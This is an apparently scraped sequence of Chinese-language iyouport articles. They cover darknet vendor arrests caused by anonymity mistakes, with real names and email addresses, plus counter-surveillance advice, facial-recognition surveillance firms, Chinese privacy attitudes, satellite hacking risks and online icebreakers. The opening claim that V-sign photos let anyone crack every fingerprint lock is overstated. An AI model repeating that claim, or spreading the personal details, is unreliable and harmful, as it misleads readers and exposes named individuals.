⚠这就如带着面具却摆出剪刀手的拍照效果……

我们提醒过不要在互联网上晒剪刀手照片。⚠拍照时，如果你在距离摄像头三米内摆出剪刀手的手势，通过照片放大和人工智能增强技术，就能将你的指纹信息还原出来 —— 不仅会导致你的身份被识别，并且，你家里的指纹锁、**IPhone**手机等一切指纹密码保护都将被破解。

以下是 Imgur 的存档版本：imgur.com/a/uy7PY。

这场大抓捕行动中还有很多其他人被捕，以下是不完整名单：

Nicholas Powell and Michael Gonzalez

- *“TheSource,” “BonnienClyde,” BnC,” “BCPHARMA,” and “Money TS.*

Daniel Boyd McMonegal

- *“Sawgrass,” “Ross4Less,” and “ChristmasTree”*

Antonio Tirado and Jeffrey Morales

- *“TrapGod”*

Jeremy Achey

（EtiKing & Brohemoth）

Achey 案放在最后，它是一个很独特的案例。但本文不得不放弃其中一些细节，以便适应其他案例的水平。

这个伯利恒人（巴勒斯坦南部城市）不仅经营着相当多产的暗网供应商账户“EtiKing”，他还—以各种假名—积极参与“合法”的化学研究。

⚠虽然有无数种匿名方面的操作错误导致 Achey 被捕，但其中一些错误肯定比其他错误更加突出。

根据刑事诉讼，2017年2月在佛罗里达州发生的致命药物过量引发了对 Achey 的调查。

验尸官的报告是这样写的：

> 结论：24岁的白人女性[受害者]的死亡是由于四氢呋喃芬太尼和依替唑仑的联合毒性导致的。死亡方式被归类为事故。

地方当局通知了缉毒局。 DEA分析了四氢呋喃芬太尼和依替唑仑，并确认了验尸官的报告。（此案发生时四氢呋喃芬太尼在美国还不是受控物质）

3月，DEA特工 Mark Bruso 和其他人联系了死者的家属，并了解到这对夫妇经常从 Alphabay 的一家名为 EtiKing 的暗网供应商那里购买产品。

特工检索了死者使用的账户，发现了死者曾经与 EtiKing 的通信信

息，并确认了交易历史记录。

第一条信息就足以结束 **Achey** 的职业生涯了。这对夫妇在佛罗里达州收到的四氢呋喃芬太尼和依替唑仑包裹的包装上手写有以下寄回地址：USDTO＃6088 1321 Upland Drive，Houston TX 77043。

联邦特工重复使用钓鱼方法假扮买主，并证实了来自 EtiKing 的大部分包裹都有相同的退货地址。*U.S. Drug Testing Organization*

USDTO代表美国药物检测组织。

Achey 使用用户名 jeremysdemo，垃圾邮件链接到/ r / researchmarkets 和 / r / RCsources subreddits 上的网站。

使用用户名 jeremysdemo 和至少一个另外的类似用户名，Achey 主持了多个研究化学品的评价版。他甚至张贴了化学品研究网站用作他的 EtiKing 操作的一部分。*jeremysdemo*，*Jeremy Achey* 拥有的一个帐户，向*USDTO*发送垃圾邮件

EtiKing 的包装上的标记是支持比特币支付运费的公司 **Stampnik**。**Stampnik** 需要支付运费的人提供有效的电子邮件地址。

无疑 Stampnik 公司收到了传票，要求提供有关USDTO地址的所有信息，该公司提供的信息显示，EtiKing 已使用过至少九个电子邮件地址为其客户支付运费。

许多电子邮件地址可以将 EtiKing（和之前的 Achey）与研究化学领域的其他犯罪企业联系起来：

- brohemath@protonmail.com;
- getups@mail.com;
- getups@protonmail.com;
- onutra@protonmail.com;
- pbchems@protonmail.com;
- pbchems@ruggedinbox.com;
- stevemastermind76@yahoo.com;
- supernOva@protonmail.com;
- usdto@riseup.net.

政府间谍联系了一个秘密消息来源，该消息来源被描述为研究化学品、暗网市场和 Alphabay 的“精通”人士。

起诉书上写着，该机密消息来源最初创建并运营了 **EtiKing** 供应商账户。然后该消息来源以**400**美元的价格将该账户卖给了某人。该消息来源为当局提供了与**$400**交易相关的多个比特币地址。

⚠几乎在所有暗网调查中当局的特工都会做同样的事 —— 他们转向求助于 Coinbase。有相关的比特币地址、物理地址和六个电子邮件地址，当局传唤了 Coinbase。

2017年6月，Coinbase 根据传票确认帐户所有者为 Jeremy Achey。*Coinbase* 的执法请求页面

Coinbase.com 为政府间谍提供了关于 Jeremy Achey 的以下证据：

- Achey 将其公司列为 “USDTO”，其网站为 USDTO.org，作为“慈善机构”和“独资企业”。
- Coinbase.com 记录显示，Achey 将 “brohemath@ruggedinbox.com” 和 “brohemath@protonmail.com” 列为其个人电子邮件地址。Brohemath@protonmail.com 是 EtiKing 用于从 Stampnik 支付运费所使用的电子邮件地址之一。
- Coinbase 还对与调查相关的四个不同账户的数据进行了分析。

目前 Achey 被监禁在佛罗里达州萨姆特维尔的 USP Coleman I。无期徒刑。

结尾

以上这些错误都很常见。⚠人们经常会同时使用多个网站、论坛上的账户，其中任何一个账户的错误操作都将是致命的。

尤其是本文中记录的错误，几乎可以说是大多数人都会犯的错误 —— 继续强调我们在“完美隐身”系列中所分析的技巧和陷阱：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》

- 未完待续

⚠请注意，我们对毒贩没有兴趣；本文想要说的是，当局能用这些方法抓住毒贩，他们就能抓住任何他们不喜欢的人 —— 包括政治异议和所有说出真相的人。在这里看到《他们如何逮捕说出真相的人》。

我们希望您永远不要做坏事。但什么是好什么是坏，往往由当权者决定。如果你不幸被当局瞄准了，请尽可能不要犯低端错误 —— 哪怕你能让追踪者晕头转向足够长的时间，也很有可能成功消耗他们的金钱和精力；如果你幸运，追踪者会因此被耗尽，从而放弃你。

⚠前车之鉴比安全知识更刺激，但前车之鉴必须落在对安全知识的强调上。

再一次，我们不关心毒贩，我们关心的是那些对抗权力的勇士，他们一直处于最危险的境地。

反追踪是一种心智的斗争。所以，请保持冷静，以便能令您的智慧充分发挥。〇

原文

这些间谍如何把你的照片变成了监视工具？ - iyouport

你应该了解的现实关于Facebook-这不只是一家公司政府的间谍行为生物识别-眼下最严重的威胁，以及怎么办

【2020年3月26日存档】社交媒体情报是巨大的肥肉，它就摆在桌面上，你如何阻止狼的口水？

在去年剑桥分析公司事件被揭露后，马克·扎克伯格（Mark Zuckerberg）在众议院能源和商业委员会（House Energy and Commerce Committee）露面时一直在试图描述 “监视与我们所做的事” 之间的区别。

扎克伯格看上去很紧张，他说：“差异非常明显。 在 Facebook 上，您可以控制自己的信息 … 您可以选择不让我们收集您的信息。”

这都是谎言。在这里看到关于剑桥分析公司的幕后故事：

- 《心理操纵的秘密：”行为经济学”＋PR＝？》

但是委员会中没有任何人质问这位亿万富翁首席执行官关于利用 Facebook 上的数据牟利的监控公司的信息。

福布斯发现了一个可能令他们震惊的案件：在过去五年中，由前以色列情报人员创立的一家秘密监视公司，一直在悄悄建立一个庞大的面部识别数据库，该数据库由从社交网络巨头、**YouTube**、和无数其他网站获得的面孔组成。

该数据库构成了面部识别服务 Face-Int 的核心，该面部识别服务在2017年收购了鲜为人知的监视公司 Terrogence 之后，现在由以色列供应商 Verint 拥有。

⚠Verint 和 Terrogence 长期以来一直是美国政府的供应商，向NSA、美国海军、以及无数其他情报和间谍机构提供尖端间谍技术。

如 Terrogence 网站上所述，该数据库包含数千个 “从 YouTube、Facebook 和 全球开放和封闭论坛等在线资源中收集” 的嫌疑人的面部数据。这就是 “社交媒体情报”。

根据互联网档案馆 Wayback Machine 的数据，该营销页面在2013年上线，表明该产品至少已有五年历史了。

尽管 Terrogence 的联合创始人兼研究负责人 Shai Arbel 拒绝对本文发表评论，但到目前为止，该产品还建议使用 Face-Int 技术搜查35,000多个视频和照片。

面部识别的风险急剧上升

尽管 Terrogence 声称 “主要致力于帮助情报机构和执法部门在网上打击恐怖主义”，但是，LinkedIn 中可查询到的该公司现任和前任雇员的档案表明，⚠该公司还参与了其他政治性的工作。

一位前工作人员在描述她作为 Terrogence 分析师的角色时说，她 “代表国内外政府客户进行了公众认知管理业务”，并使用 “开源情报实践和社交媒体情报方法以调查政治和社会团体”。在文章发表时无法联系到她。

- 《什么是社交媒体情报》
- “公众认知管理” 就是操纵认知的委婉说法，见《心理操纵的秘密：”行为经济学”＋PR＝？》

现在，人们开始担心 Terrogence 如何从 Facebook 和其他在线资源中抢走所有这些人脸。

不过，显而易见的是，Terrogence 是另一家能够秘密利用 Facebook 数据的公司。（剑桥分析公司从2014年开始获得了多达8700万用户的信息，以帮助他们在特朗普和 Ted Cruz 竞选活动期间针对个人进行操纵）

美国公民自由联盟（ACLU）的高级政策分析师 Jay Stanley 警告说：“这增加了人脸识别的风险 —— 加剧了潜在的负面影响。”

“人脸识别已经无处不在，我们必须考虑这对我们意味着什么。如果私人公司正在随意抓取照片并将其与个人信息结合起来以做出判断一个人的标准 —— 您是恐怖分子还是可能成为入店行窃者或介于两者之间的任何东西 —— 那么这会使每个人都有被错误识别的风险，或正确识别并被错误判断。”

即 所谓的 “预测犯罪系统” —— 少数派报告。见：

- 《你长得像坏蛋吗》
- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本》

电子前沿基金会高级职员 Jennifer Lynch 表示，如果面部识别数据库已与政府共享，它将威胁到社交媒体用户的言论自由权和隐私权。

Lynch 告诉《福布斯》：“将面部识别准确地应用于视频是非常具有挑战性的，我们知道面部识别在有色人种、尤其是女性和肤色较暗的人中表现不佳。”

“将这两个已知的问题与人脸识别相结合，该技术很有可能会经常将人们误认为恐怖分子或罪犯。

“这可能会影响成千上万遵守法律的旅行者的出行和公民权利，然后他们必须证明自己不是该系统确定的恐怖分子或罪犯。”

目前尚不清楚 Face-Int 产品如何获取人脸，⚠尽管它看起来类似于由国家安全局（NSA）运营的项目 —— 正如举报人爱德华·斯诺登（Edward Snowden）在2014年所透露的那样，在**2011**年，情报机构已经从网络上收集了 **55,000** 张 “具有面部识别价值的图像”。

- 在这里看到斯诺登文件完整版分析报告《互联网霸主的时间线》

该公司的联合创始人 Arbel 曾是以色列军队的一名情报官员，但他拒绝回答有关该技术如何运作的问题，尽管他在短信中称 Face-Int 令人称奇，并确认其在 Verint 的领导下仍在继续运作。

Facebook 的发言人表示，Terrogence 的产品 “似乎违反了其政策”，其中包括禁止使用从社交网络获取的数据来提供监视工具，Facebook 利用自己的面部识别技术来识别整个平台中用户的照片。但是 Facebook 难道有可能没有从中获利？这一猜想并不符合监视资本家的思维逻辑。

社交媒体监视器

没有证据表明美国已经购买了 Face-Int。但是它从 Terrogence 建立

的其他情报服务中受益。

根据公开记录，该间谍技术供应商与美国政府至少签订了两份合同，均与美国海军签订，总价值为**148,000**美元。

这些合同分别来自2014年和2015年，用于订购该公司的 Mobius 和 TGAlertS 产品。

Mobius 包含有关简易爆炸装置（IED）及其恐怖分子策略的最新趋势的报告，这是该公司的小册子上写的。这些报告是基于从各种社交媒体平台收集的情报得出的。 **TGAlertS** 同时提供 **Terrogence** 员工大范围监视时发现的 “几乎实时” 的信息。

这些员工部分地通过虚假的账户在线收集信息。也就是袜子木偶。

正如另一本小册子中指出的那样，⚠他们 “通过仔细引导在线讨论来获取信息，经常引起目标人的兴趣、并通过在单个操作中使用多个虚拟账户来促进交流”。

⚠再次提醒，社交媒体上当任何陌生人试图进一步 “探讨”时，你应该小心自己说出的每一句话。不论该陌生人的个人简介写得多漂亮，因为有可能是假的。

Arbel 在监视工业园区中的第一个牛仔竞技是他与其他人共同创立的 SenseCy，该公司于2017年被 Verint 收购。它还专门建立了 “虚假实体” 来收集情报。

“ SenseCy 经过多年的实践，拥有数十个虚假实体，结合了强大而可信的封面故事以及完善的Web交互方法，并从所有相关的Web平台中获取了宝贵的情报” ，其网站上的一位人士说。（虚假实体就是袜子木偶）

黑名单的私有化

Terrogence 并非仅仅专注于恐怖主义，其在政治方面的业务应该令人恐惧，其面部识别技术可能已经席卷了大量人群。

Stanley 警告说，这带来了 Terrogence 业务的另一个特别令人担忧的方面：“黑名单私有化的开端”。

他说：“多年来，我们一直在就这些黑名单的正当程序与政府进行斗争……无辜的人被放在这些黑名单上而没有被告知原因，也无法确定

当权者会如何使用这些黑名单。”

当权者如何使用这些黑名单？也许并不难知道，以下是最基本的3个例子：

- 当活动家和异议人士被纳入“恐怖分子”黑名单《我被警察折磨至精神崩溃：现在我必须爬起来战斗》
- 当无辜的平民被政府间谍记错了电话号码《暗杀计划》
- 当记者被政府纳入《刺杀名单》……

去年底，Verint 推出了看起来完全独立的面部识别产品 FaceDetect。它声称可以打破伪装而识别个人，并 “允许操作员立即将嫌疑人加入重点监视黑名单”。

Stanley 还质疑 Facebook 所谓的用户控制个人资料照片的政策。

他说，该社交网络拥有全世界最大的面孔数据集合，但个人头像在一定程度上无法完全锁定（每个人都可以看到你的头像，如果你的头像是真人照片，有可能很危险）。

像ACLU这样的隐私倡导组织现在希望看到用户获得了对这些图像的更多控制权。但是我们真的能寄希望于监视资本家的 “开明” 吗？或者指望狼忘了怎么吃肉？你知道这有多难（即便不是不可能的话），我们必须先自己保护自己，才有机会为改变而战斗。〇

- 《你曾经在社交网络上发布过自己的照片？你危险了！》
- 自我检查，清除一切暴露的信息《社交媒体情报和反情报基本工具手册：自我人肉（2）》

原文

隐私意识、中国人的态度和通往民主的路障 - iyouport

互联网自由-Resist你应该了解的现实关于中国社会

【2017年2月9日存档】那些压制自由讨论的独裁专制国家在独裁时期结束后却发现自己很难向民主结构转变，往往是由于这些国家中还没有出现一个私人化的空间，以及大多数人对隐私问题的了解和重视程度堪忧。 就如中国目前的状况

能说一口流利中文的欧洲人 Re 注销了微信，他说：“我无法忍受自己的私人空间里存在着一双诡异的眼睛，哪怕我只是用这个应用来调情”。在此之前，他读过了一些有关微信内容审查的文章，听到了一些来自中国网民的抱怨，他说“不可思议”。

whatsapp 里有很多欧洲网友的群聊，Re 在里面，它们总是热闹的，因为能形成有效且有趣的讨论。它们的隔壁就有几个中国网友的群聊，其中包括不少海外华人，或许与时差有些关系，这些中国群聊相对冷清很多，也极少讨论，只转发进一些公开平台的资讯或者口号式的言论，我们称之为正确的废话的东西，其中还包括很多假消息和错误的观点。某日，一位旅居澳洲的中国籍网民在群里说，“不要发在这里了，人那么少，发到微信去啊”，继而很多人表示赞同。

日前，一位微信用户表示他收到了下图这样的通知，据悉因为审查他已经被废弃过一个微信账号了，并且据他称，自己发布的大多是政治内容图文，并不是什么“色情内容”，看来微信群聊的审查和微博一样是利用借口的，包括“据举报”之说，也很可能是来自于定位监控系统。但这位用户表示如果需要继续“转世”他会去做。为什么不放弃使用微信呢？“因为这里好友比较多，其他平台虽然安全，但没有（中国）人用，也一样是个摆设”。

即便是网上揭露人们也会小心翼翼，政府用抓捕传播翻墙技术和制作翻墙软件的人来威胁那些试图逃离管制的网民，曾经一位写手要求给我们投稿，我发布了网站链接给他，并告知需要翻墙，他回答“不可

以，翻墙不安全”。我问，这个概念是从哪里来的，他说“你都不看新闻吗？翻墙是违法的，已经有人因此被抓了”。我感觉哭笑不得。

我想他一定不知道，使用代理服务器的原始目的是为隐藏IP，以及为什么需要隐藏。他与那些在网上晒自己信用评分的网民一样，在中国足够普遍，以至于不再令人惊讶。

直到近来，连续有大学生因电话诈骗致死，人们才意识到隐私安全被侵犯，然而他们仍然认为这只是由于“数据落到了骗子手里”的结果，于是依旧可以为自己的信用评分骄傲、依旧准许政府无限度的挖掘他们的隐私，或许在他们眼里，“政府不是骗子”？

不尊重自己隐私的社会对他人的隐私也不屑一顾，微信群中要求“实名加工作单位”标注群名片的状况非常多见，名曰“为了联络方便”，也确实做到了这点，但每个人都有决定权隐私，尤其是在中国政府持续加强打压异议人士、NGO和境外媒体的状况下，群聊实名制的要求对部分人来说并不靠谱，然而在此被无视了，甚至不配合者还会被指责“你有什么见不得人东西吗／你做过什么坏事吗”，啼笑皆非。

报道中国新闻的海外记者为了联络采访，不得不持续使用中国的社交应用，但很多人拒绝绑定银行卡以避免被实名认证。今年7月开始实施的新规定称：未实名者不能使用红包功能。这招很绝，在中国这样的人情社会里，人们用红包来沟通感情、获取信任和构建人际关系，如果没有足够坚实的人际关系基础，求助是很困难的，粉丝经济时代，这种需求更显迫切，加之对政府无限度收集信息的麻木（或许从未深刻理解），实名制俨然已经迅速变成了一个“过气的话题”。

浏览中文网络舆论中对伊斯兰文化的评价很容易发现，大多数人没有意识到意识形态隐私的存在，并且相关大部分内容是出现在诸如twitter和Facebook这些国际大牌社交网络上的，也就是说，翻墙并不意味着认知提升，它只是渠道不是目的。在反恐大势下，对穆斯林的仇恨和恐惧在某种程度上占据了所谓的政治正确，似乎是一种国际型气候，但在中国，连同政府假以反恐为由实施的各种侵犯人权的维稳政策也获得了部分舆论的赞许。这是非常可怕的，其中最大的受益者是恐怖分子和专制政府。

中国人面对隐私侵犯所采取的态度除了不屑一顾外，更多是恐慌，从自我审查到自我维稳，再到互相维稳，步步升级，与此同时是当局的管制政策通过媒体的宣传强化背景情绪，比如“群聊内容违规，群主也有责任”等信息，带来的是更为频繁的互相维稳——人们要求其他群成员“不要谈政治”、警告他们某某“敏感日子”正在临近……

思考者往往对”文化决定论”抱有一定程度的戒心，当然也不会完全否定文化所起的作用。中国哲学的发展路径与西欧不同在于，中国人趋向将现实理解为一系列的关系，而欧洲人将现实理解为一系列的实体。这自然会导致一个结果：中国人注重在独特的关系网络中寻找自己的身份，而往往忽略具体人或物本身的各种属性。而后者就是欧洲的世界观，它使得隐私问题更加容易理解——既然有关物体和人的重要属性并不取决于外部影响，那么我们会很容易想象这些影响被排除的情况。

然而从中国的角度来看，将一个物体或人从周边环境中孤立出来，就会切断其与环境的联系，从而破坏其“重要属性”。

曾经有一位畅销书小说家说过，“privacy”这个词很难翻译成汉语，他好几次都难倒在这个词上。就像西方文化一样，中国发展出许多不同类型的“公／私”区分，比如公共利益／私人利益、公德／私心、公开／私下等。但总的来说，“私”这个字被中文包含进很多负面的含义，相比下“公”则被人们广为赞许，“私”似乎暗示着一个秘密、地下和不道德的世界。

另方面，在中国，“私”所关注的焦点可能超过了个人，它可能是指某个基于血缘的宗教的事务。在这种情况下，旨在增加宗教利益的私人活动就被看作是让祖先在天之灵高兴的事情，因而“会得到他们的保佑”。

在F-Scale量表“权威性人格”测量的九个特质中，可归因于中国社会文化因素的项目至少占据7个，比如对权威的服从、犬儒、一致性追求等，它们都在妨碍人们对隐私问题的理解，更为根本的是对民主的理解。民主不只是一张选票，它需要一系列思维方式、行为习惯和认知基础去维护，没有了隐私，民主就会崩塌，然而中国的政治反对者似乎还没能真正了解它，这是一件很悲哀的事。

用 Re 的话说就是：“很多中国的反对者和他们所反对的东西在某种层面上是一样的”。内部同构是事实，但也并非无解，社会心理学信任情境的能力，对民主的理解可以在民主化过程中加强，不过对于一个毫无民主经验的民族来说，如何顺利过渡是关键。改善思维习惯、提升认知，都是可以从现在开始做的，而不是等待改朝换代后，只是目前大多数人中国人还不能理解这点。

为鼓励翻墙，我们持续努力地劝导，为宣传安全意识，提供源源不断的资讯支持，但事实显示收效甚微，有些问题并不是表面看起来那样。对国人来说，解决隐私的认知问题很可能并不是仅仅帮助理解其

本意那么简单，它需要通过对一些文化弊端进行修正来实现。是专制选择了中国，还是中国人选择了专制这个问题，就像鸡和蛋的关系，是时候结束恶性循环了，我希望尽可能多的人能一起来为此有意识有目的地去努力。〇

原文

骇客可以关闭卫星，还可以将其变成武器 - iyouport

你应该了解的现实

尤其是，空间军备竞赛也愈演愈烈

SpaceX 现在是世界上最大的活跃卫星群的运营商。截至去年，该公司有242颗卫星在地球上运行，并计划在未来十年内再发射42,000颗。这是其在全球范围内提供互联网接入的宏伟项目的一部分。

将卫星送入太空的竞赛正在进行，亚马逊、总部设在英国的 OneWeb 和其他公司都在拼命要在短期内将数千颗卫星送入轨道。

这些新卫星有可能彻底改变日常生活的许多方面 —— 从将互联网接入到全球的偏远角落、到监测环境和改善全球导航系统。

但在所有的大张旗鼓中，一个关键的危险被掩盖了：全世界都缺乏商业卫星的网络安全标准和法规。在这一点，再加上卫星复杂的供应链和层层的利益相关者，使它们非常容易受到网络攻击。

如果黑客控制了这些卫星，其后果将是非常可怕的。在平凡的层面上，黑客可以简单地关闭卫星，拒绝使用其服务；黑客还可以干扰或欺骗来自卫星的信号，对关键基础设施造成破坏 —— 这包括电网、水网和运输系统。

这些新卫星中的一些有推进器，允许它们在太空中加速、减速和改变方向。如果黑客控制了这些可操控的卫星，其后果可能是灾难性的。黑客可以改变卫星的轨道，使其撞上其他卫星甚至国际空间站。

供应链漏洞

「图」

这些卫星的制造商，特别是小型立方体卫星的制造商，使用现成的技术来保持低成本。这些部件的广泛可用性意味着黑客可以分析它们的

漏洞。此外，许多组件采用了开源技术，这里可能的危险是，黑客可以在卫星的软件中插入后门和其他漏洞。

这些卫星的高度技术性也意味着多个制造商参与了各种组件的制造。将这些卫星送入太空的过程也很复杂，涉及多家公司。即使一旦进入太空，拥有这些卫星的组织往往将其日常管理外包给其他公司。每增加一个供应商，漏洞就会增加，因为黑客有多种机会渗透到系统中。

入侵其中一些立方体卫星可能很简单，只需等待其中一颗卫星从头顶掠过，然后利用专门的地面天线发送恶意指令。黑客攻击更复杂的卫星可能也不是那么难。

卫星通常由地面站控制。这些站点运行的计算机有软件漏洞，可以被黑客利用。如果黑客渗入这些计算机，他们可以向卫星发送恶意指令。

卫星黑客的历史

「图」

这种情况在1998年已经发生过了，当时黑客控制了美国-德国的伦琴X射线卫星。他们通过入侵马里兰州戈达德太空飞行中心的计算机来实现这一目的。黑客随后指示卫星将其太阳能电池板直接对准太阳。这有效地烧毁了它的电池，使卫星失去了作用。这颗失效的卫星最终在2011年坠落回地球。

黑客也可以用卫星来勒索赎金，1999年黑客控制了英国的SkyNet卫星，就发生了这种情况。

多年来，对卫星的网络攻击的威胁已经变得更加可怕。2008年，据报道，可能来自中国的黑客完全控制了美国国家航空航天局的两颗卫星，一颗约两分钟，另一颗约9分钟。据报道，2018年，另一群中国国家支持的黑客发起了一场复杂的攻击行动，目标是卫星运营商和国防承包商。伊朗的黑客组织也曾试图进行类似的攻击。

尽管美国国防部和国家安全局已经做出了一些努力来解决空间网络安全问题，但步伐一直很缓慢。目前没有卫星的网络安全标准，也没有管理机构来监管和确保其网络安全。即使可以制定共同的标准，也没有任何机制来执行这些标准。这意味着卫星网络安全的责任完全落在了建造和运营卫星的各个公司身上。

市场力量不利于空间网络安全

「图」

在竞争成为主导的卫星运营商的过程中，SpaceX 和竞争对手的公司正面临着越来越大的削减成本的压力。也有加快开发和生产的压力。这使得这些公司很容易在网络安全等领域偷工减料，安全问题对于实际将这些卫星送入太空来说是次要的。

即使是那些高度重视网络安全的公司，保证每个组件安全的相关费用也可能是令人望而却步的。对于低成本的太空任务来说，这个问题甚至更加严重，因为确保网络安全的成本可能超过卫星本身的成本。

更为复杂的是，这些卫星的复杂供应链和参与其管理的多方意味着往往不清楚谁对网络破坏负有责任和义务。这种不明确的情况滋生了自满情绪，阻碍了保护这些重要系统的努力。

空间战

「图」

去年4月22日，在几次失败的尝试之后，伊朗的伊斯兰革命卫队宣布成功发射了它所说的军事侦察卫星。这颗卫星加入了越来越多的在轨武器和军事系统的名单，包括来自俄罗斯（4月测试了一个旨在摧毁卫星的导弹项目）和印度（2019年3月发射了一个反卫星武器）的系统。

像安全世界基金会（SWF）（一家位于科罗拉多州布鲁姆菲尔德的无党派智库）的项目规划主任布莱恩·韦登这样的专家担心，这些发展有可能将地球上的冲突提升到新的高度，并将所有太空活动，无论是和平还是军事，都置于危险之中。

安全世界基金会和位于华盛顿特区的无党派智库战略与国际研究中心（CSIS）的研究人员今年都发布了关于快速演变的事态的报告。这些报告表明，太空中最大的参与者已经升级了他们的军事能力，包括摧毁卫星的武器和破坏航天器的技术，例如，通过阻断数据收集或传输。

世界安全基金会和CSIS的研究人员警告说，这些技术中的许多技术，如果部署，可能会加剧军备竞赛，甚至引发太空中的小规模冲突。世界安全基金会报告的共同编辑韦登说，炸毁一颗卫星会使碎片散落到

整个大气层。这样的爆炸会破坏其他航天器的轨道，并威胁到每个人对太空的可及性。

罗德岛新港美国海军战争学院的国家安全事务专家大卫·伯巴赫说："这绝对是两份最好的报告，以了解太空界正在发生什么"，他没有参与这项新的研究。

伯巴赫补充说，与冷战时期相比，今天的世界已经非常不同，当时进入太空的机会基本上只限于美国和苏联。现在有更多国家拥有太空计划，包括印度、伊朗、朝鲜、法国、日本和以色列。

尽管有这种扩张—— 以及一系列新的空间武器—— 相关政策和监管机构仍然停滞不前。"位于日内瓦的联合国裁军研究所的空间安全研究员丹尼尔·波拉斯说："国际社会担心的是，对于人们如何开始干扰他人的空间系统，不一定有任何护栏。没有交战规则"。

新的报告使用现有的证据和情报来探讨各国军队正在开发或测试的一系列武器，或者已经投入使用的武器。值得注意的是，CSIS的报告并不包括美国军队。

每个国家都有独特的能力和特点。例如，印度已经在空间基础设施和能力方面进行了大量投资，而日本在二战后的空间活动是有限的，直到最近对其宪法的修改。对于以色列的太空计划，韦登说，几乎没有什么好的数据。

CSIS航空航天安全项目主任、报告的主要作者托德·哈里森在4月6日的直播中说，对军事卫星的潜在导弹攻击 "往往得到大部分关注，但这并不是我们看到的世界各地发生的所有情况"。

例如，已经在1200英里高度以下的低地球轨道上盘旋的数千颗日常卫星，有可能遭受附带损害。这些卫星中有一半以上来自美国；其余许多来自中国和俄罗斯。它们提供关键服务，如互联网接入、GPS信号、长途通信和天气信息。任何砸向卫星的导弹—— 无论是作为攻击还是在测试期间—— 都会散落出成千上万的碎片。这些碎片中的任何一个，仍在以轨道速度飞驰，可能会摧毁另一个航天器并产生更多的碎片。

当中国在2007年进行反卫星导弹试验时，它产生了大量的太空垃圾云，引起了国际社会的谴责。印度的工程师们试图通过在低空进行试验来限制他们最近试验中的碎片，这样地球的引力会把碎片拉下来，它们会在下降时燃烧。但是一些碎片被抛上了国际空间站的轨道。

一些国家正在为太空开发新的军事技术。例如，法国正在研究激光束，可以让另一个国家的卫星眼花缭乱，防止其拍摄机密目标。朝鲜正在研究如何干扰发送到或来自卫星的射频信号，而伊朗正在设计可以干扰卫星系统的网络攻击。根据世界安全基金会的报告，与此同时，三大太空重镇—— 美国、俄罗斯和中国—— 已经有能力采取所有这三种方法。

这三个大国也已经开始掌握报告中所说的 “会合和接近行动”，这涉及将卫星作为监视设备或武器。

一颗卫星可以在对手的机密卫星数英里范围内机动，拍下设备照片，并将照片传送到地球。或者一颗卫星可以靠近另一颗卫星，污染其对应的镜头或覆盖其太阳能电池板，切断电源，使其失去作用。俄罗斯可能领先于这项技术，已经发射了一系列俄罗斯政府称之为 “检查员卫星” 的小型卫星。去年秋天，据美国太空部队的太空行动主管 John “Jay” Raymond 将军说，有一颗卫星悄悄靠近美国的间谍卫星，他称这是一种 “潜在的威胁行为”。

到目前为止，关于现代太空中什么被允许，什么不被允许的国际政策或规范相对较少。安全世界基金会的报告指出，一个事件或误解如果被认为是攻击，可能会使紧张局势升级。

联合国的波拉斯说，与美国相比，较小的空间大国拥有较少的卫星，因此损失较小。他认为，紧张的区域关系可能特别难以预测。例如，他说，如果朝鲜领导人发现自己与韩国和美国处于对峙状态，他们可能会在太空中发射并引爆核武器；其危险的辐射将使大多数卫星失效。

联合国和其他国际组织—— 包括安全世界基金会和位于不列颠哥伦比亚省的全球研究组织外层空间研究所—— 正在努力避免这种情况的发生。

现有的国际法对太空中的现代军事技术没有提供什么指导。虽然这些规则—— 包括1963年的《部分禁止核试验条约》和联合国1967年的《外层空间条约》—— 禁止在太空中使用大规模毁灭性武器，但它们没有明确限制其他类型的太空武器、试验或军事太空部队。○

The Ripple Effects of a Space Skirmish

Hackers Could Shut Down Satellites—or Turn Them into Weapons

原文

19个免费有趣的破冰活动，适用于在线培训、教学以及远程协作团队：培训师指南（1）- iyouport

你应该了解的现实

【2021年5月25日存档】找到参与感，让所有人都动起来。您的队伍中不应该有“潜水者”

IYP一直在发布培训教材，从技术到行动主义、从个人提升到团体训练，所有这些系统性的教材您都可以直接在您的组织/亲密团队中运行自己的培训计划 —— 培训是增强力量和专业性的重要渠道。

这里是一个新的系列，我们会推荐一些工具以及心理层面的技巧，帮助那些致力于成为培训师活动家和组织者获得更专业的技能。

破冰活动 (Icebreaker) 是为了让一群人彼此熟悉，进而形成团队而设计的引导活动。破冰活动常常是暖身用的游戏，作为开场让参与的成员可以彼此认识。2019年参加过IYP私下的在线社区游戏的朋友们对此已经有过体验。

📌 不论是您进行在线培训、教学，还是运行一个远程行动主义团队，破冰都是第一步。破冰是任何培训计划的重要组成部分，因为它旨在鼓励人们从课程开始的初期就直接参与进来，相互了解并感觉与他人合作的舒适。

在面对面的培训课程中，您可以做很多破冰题，其中一些是世界各地的培训师一直在使用的经典题材。

本指南整理了一些专门为在线培训设计的破冰活动，以及其他通常在传统课堂上进行的破冰活动，并解释如何使它们更适应在线环境。

1、“两真一假” 破冰活动

「图」

这是一个经典的破冰游戏，可以改编成在线课程使用。

使用说明：

a. 请一位参与者写出三个关于自己的陈述：2个真，1个假。

b. 请其他参与者投票决定哪句话是真的，哪句话是假的。

c. 在第一个人分享了关于自己的陈述、并且小组决定了哪句话是假的之后，第一个人将揭示哪些陈述是真的，哪些是假的。

d. 继续进行，直到小组中每个人都分享了自己的陈述。

e. 能正确猜出最多谎言的人获胜。或者，您也可以用非竞争性的方式来玩这个游戏，让参与者互相了解。

这是一个有趣的破冰游戏，所以在任何培训或教学的早期都是一个不错的选择。

您可以使用的在线工具：

- Poll Everywhere
- Google Forms
- Survey Monkey

2、即席问答

「图」

即席问答是一套卡片，您可以在网上找到出售这种工具的地方，比如亚马逊等网站上，或者您自己做都可以，只要您知道该怎么做。每张卡片上都有一个问题，用来开始对话，每包卡片包含一百多个问题。

它们是一个很好的开始对话的方式，可以让参与者互相了解，或者就某个特定的话题展开讨论。您可以选择与您的研讨会/培训课程主题相关的问题。

说明：

您可以把传统卡片上的一些问题打在聊天板上，让参与者写下他们的想法。

